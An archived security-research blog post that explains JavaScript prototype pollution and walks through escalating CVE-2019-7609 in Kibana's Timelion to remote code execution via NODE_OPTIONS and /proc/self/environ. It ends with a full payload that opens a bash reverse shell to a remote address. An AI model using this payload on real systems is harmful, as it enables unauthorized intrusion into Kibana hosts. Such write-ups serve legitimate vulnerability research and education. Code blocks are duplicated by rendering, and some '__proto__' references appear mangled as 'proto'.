

Exploiting prototype pollution - RCE in Kibana (CVE-2019-7609)

Exploiting prototype pollution - RCE in Kibana (CVE-2019-7609) - Author not stated, research.securitum.com.

- Published: 2019-10-30
- Original: <<https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>>
- Current location: <<https://www.securitum.com/resources/pentest-chronicles/>>
- Preserved from: <https://www.securitum.com/resources/pentest-chronicles/> (stored) on 2026-08-06
- Capture timestamp: 20200721091248
- Licence: unknown

Rights remain with the original author and publisher. This is a research archive of a source from the Top 10 Web Hacking Techniques lists, kept so the page going offline. To read the original, follow the link above.

Content

UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Prototype pollution is a vulnerability that is specific to programming languages with prototype-based inheritance (the most common one being JavaScript). While the bug is well-known for some time now, it lacks practical examples of exploitation. In this post, I'm showing how to exploit it to achieve Remote Code Execution in Kibana.

The content is also released as [a presentation](#).

Prototype-based inheritance

Let's create a simple object in JavaScript:

```
let obj = { prop1: 1, prop2: 2 }
```

```
|
```

```
1
```

```
2
```

```
3
```

```
4
```

```
|
```

```
let obj = {
```

```
  prop1: 1,
```

```
prop2: 2
```

```
}
```

```
||
```

The object `obj` contains two properties called `prop1` and `prop2`. We can access the properties via the standard syntax of `obj.prop1` or `obj.prop2`. These properties aren't the only ones we can access, though, as there are many others, including `toString`, `constructor` or `hasOwnProperty`. How could it be that we can access them if they're not direct properties of `obj`? The answer is: prototype.

When we try to access a property that doesn't exist in an object, JS engine tries to look for the property in the prototype of the object. In JavaScript, we can find out what the prototype is, using

```
Object.getPrototypeOf(obj) or simply obj.__proto__.
```

[\[image: image\]](#)

Accessing prototype of `obj`

If we're creating a simple object using the `{ prop: val, ... }` notation, its prototype is going to be set to `Object.prototype`. We can think of `Object.prototype` as the prototype of all objects (this is not actually true, since we can deliberately create an object without a prototype but it's usually not done).

So when we try to access `obj.toString`, JS engine check if it is a property of `obj` and if it isn't, then checks if it's a property of its prototype. If it still wasn't true, the checks would follow until a prototype is set to `null` (this is called the [prototype chain](#)).

Prototype pollution

So where's the prototype pollution? It happens when there's a bug in the application that makes it possible to overwrite properties of `Object.prototype`. Since every typical object inherits its properties from `Object.prototype`, we can change application behavior. The most commonly shown example is the following:

```
if (user.isAdmin) { // do something important! }
```

```
|
```

```
1
```

```
2
```

```
3
```

```
|
```

```
if (user.isAdmin) {
```

```
// do something important!
```

```
}
```

```
||
```

Imagine that we have a prototype pollution that makes it possible to set `Object.prototype.isAdmin = true`. Then, unless the application explicitly assigned any value, `user.isAdmin` is always true!

[\[image: image\]](#)

```
user.isAdmin is true!
```

In the screenshot above, even though we didn't set any property on the `user` object, `user.isAdmin` is still `true` because it inherits the property from the prototype.

During last year, bugs leading to prototype pollution were found in popular JS libraries, including [lodash](#) or [jQuery](#). In this post, however, I'm going to focus on one specific example.

Prototype pollution in Kibana (CVE-2019-7609)

During a training organized by Securitum, one of the attendees – Bartłomiej Pokrzywiński – wanted to learn more about real-world exploitation of vulnerabilities and focused on specific vulnerability in Kibana, and asked for some support.

The vulnerability was CVE-2019-7609 (also known as ESA-2019-02) and is [officially described](#) as follows:

Kibana versions before 5.6.15 and 6.6.1 contain an arbitrary code execution flaw in the Timelion visualizer. An attacker with access to the Timelion application could send a request that will attempt to execute javascript code. This could possibly lead to an attacker executing arbitrary commands with permissions of the Kibana process on the host system.

The snippet contains no information that the root cause of the vulnerability is prototype pollution but it does mention that it leads to remote code execution. So the question is: how to escalate from prototype pollution to RCE?

First things first, we need to find the source of the vulnerability in Kibana. The advisory mentions that it happens in Timelion visualizer. Let's have a look.

[image: image]

In Timelion, we can write expressions to visualize some data. In the example from the screenshot, I'm using `props` function to set `label` of the graph below to `'ABC'`.

It turns out that using `props`, not only strings can be assigned to properties, but also objects. If the input is equal to:

```
.es(*).props(label.x='ABC')
```

```
|
```

```
1
```

```
|
```

```
.es(*).props(label.x='ABC')
```

```
||
```

then `label` is equal to an object: `{ x: 'ABC' }`. From now, we're very close to exploiting prototype pollution, since it turns out that the input

```
.es.props(label.proto.x='ABC')
```

```
|
```

```
1
|
.es.props(label.proto.x='ABC')
||
```

will add a new property `x` to `Object.prototype`. And this is how you could pollute the prototype.

At this point, I started to wonder how to exploit it. It is not easy feat, we basically need to find a code that tries to access a property that is usually not defined, hoping that it would do something “interesting” when we define it. The “dream” code would be similar to:

```
if (obj.jsCode) { eval(obj.jsCode) }
|
1
2
3
|
if (obj.jsCode) {
eval(obj.jsCode)
}
||
```

but I didn’t find anything like that, obviously!

After going through Kibana codebase not knowing what I was really looking for, I had some luck which really helped to focus my research on something specific. Kibana has a menu entry called “Canvas”, and when I clicked it, I noticed huge amount of errors in the console.

[\[image: image\]](#)

I didn’t know why the error happened in the first place, but what I knew is that I run Kibana with `--inspect=0.0.0.0:9229` command line parameter, which runs a debugger on port 9229 (I did it to make my life easier and try various prototype pollution exploits directly in the debugger). Then I realized that the only sensible reason I’m getting this error could be that Kibana is trying to spawn a new `node` process but is unable to do so because it’s trying to start a debugger on port 9229. This fails because the port is already taken!

I verified the hypothesis in the Chrome inspect and debug the `child_process.spawn` method.

[\[image: image\]](#)

And it proved that Kibana actually tries to run a new `node` process! This was a perfect news to me, since spawning processes is exactly the place we want to meddle with.

In the screenshot, you can see that a method `normalizeSpawnArguments` is called, which happened to be a paradise for prototype pollution. There are many checks in the code if certain properties exist and perform actions if they do.

The snippet that was particularly interesting is this one:

```
var env = options.env || process.env; var envPairs = []; for (var key in env) { const value = env[key]; if (value !== undefined) { envPairs.push( `${key}=${value}` ); } }
```

|

1

2

3

4

5

6

7

8

9

|

```
var env = options.env || process.env;
```

```
var envPairs = [];
```

```
for (var key in env) {
```

```
  const value = env[key];
```

```
  if (value !== undefined) {
```

```
    envPairs.push( `${key}=${value}` );
```

```
  }
```

```
}
```

```
||
```

`options.env` was not defined by default which means it could be polluted. In the snippet, there's a for loop that iterates over all properties of `env` and adds them to the array in the form `key=value`. So if `env` is equal to `{ test: 123 }`, then `envPairs` will contain `test=123`. The purpose of this code is to define environmental variables that are going to be passed to the new `node` process. Because `options.env` can be polluted, I can control what env variables are passed!

This seemed really interesting because of the `NODE_OPTIONS` variable, which, according to the [official documentation](#) is:

A space-separated list of command line options. `options...` are interpreted before command line options, so command line options will override or compound after anything in `options...`. Node.js will exit with an error if an option that is not allowed in the environment is used, such as `-p` or a script file.

This basically means that we can use `NODE_OPTIONS` to pass command line arguments to `node`. One of the options available is `--eval` which executes arbitrary code, for instance: `node --eval "console.log(123)"`. My idea was to use `NODE_OPTIONS="--eval console.log(123)" node` to execute my code. But, to my great surprise, it didn't work.

[image: image]

It turns out that `node` disallows using `--eval` in `NODE_OPTIONS`. Perhaps they were trying to protect against the very attack I'm trying to do?

Anyway, there is another command line argument that is somewhat equivalent to `--eval`; and it is: `--require`. We can use it to load a JavaScript file on startup. This argument works also in `NODE_OPTIONS`:

[image: image]

The only problem is that to exploit this in the prototype pollution, I need to upload my own file in Kibana. Or do I?

In Linux there's a file called `/proc/self/environ` which lists all environmental variables of the current process.

[image: image]

In the prototype pollution I control environmental variables which means that I can control the contents of `/proc/self/environ`. So let's say that I create an environmental variable: `AAA=console.log(123)//`:

[image: image]

Suddenly, `/proc/self/environ` happens to be a valid JS code! Therefore, I can execute my own code (without any file upload) just by controlling environmental variables when spawning a new `node` process. Here's a proof:

[image: image]

As you can see, `console.log(123)` gets executed just at the beginning of `node` execution!

Now I just need to turn it into a real RCE with the following code in Timelion:

```
.es(*).props(label.proto.env.AAAA='require("child_process").exec("bash -i >&/dev/tcp/192.168.0.136/12345 0>&1");process.exit()//') .props(label.proto.env.NODE_OPTIONS='--require /proc/self/environ')
```

|

1

2

|

```
.es(*).props(label.proto.env.AAAA='require("child_process").exec("bash -i >&/dev/tcp/192.168.0.136/12345 0>&1");process.exit()//')
```

```
.props(label.proto.env.NODE_OPTIONS='--require /proc/self/environ')
```

||

This sets two environmental variables via prototype pollution and makes use of `bash` reverse shell. To exploit it, the code needs to be inserted in Timelion, and then Canvas needs to be opened (to spawn a

new process).

Here's the final proof that the exploit works:

Afterthoughts

I think the main takeaway from the analysis above (besides the fact that prototype pollution can indeed be exploited to RCE) is that what I found is basically a **prototype pollution gadget**. If any application is vulnerable to prototype pollution and it spawn a new node process, it can be exploited in exactly the same way. Maybe there is some space to tool similar to ysoserial (like ysopolluted) with more gadgets?

More ideas for research are:

- Finding gadgets effectively (perhaps automated way to look for accessing undefined properties),
- Finding more gadgets in the standard library of node. It is nice that we can exploit prototype pollution in `spawn`, but would be even better if we found more functions (like `require`) that could be exploitable.

I hope this post is going to help raise awareness about prototype pollution and will lead to some progress in understanding how exactly it could be exploited in real-world applications.

Tagged: [exploit](#), [javascript](#), [js](#), [kibana](#), [prototype pollution](#)

Archived from <https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/>. Rendered offline from the local Markdown copy.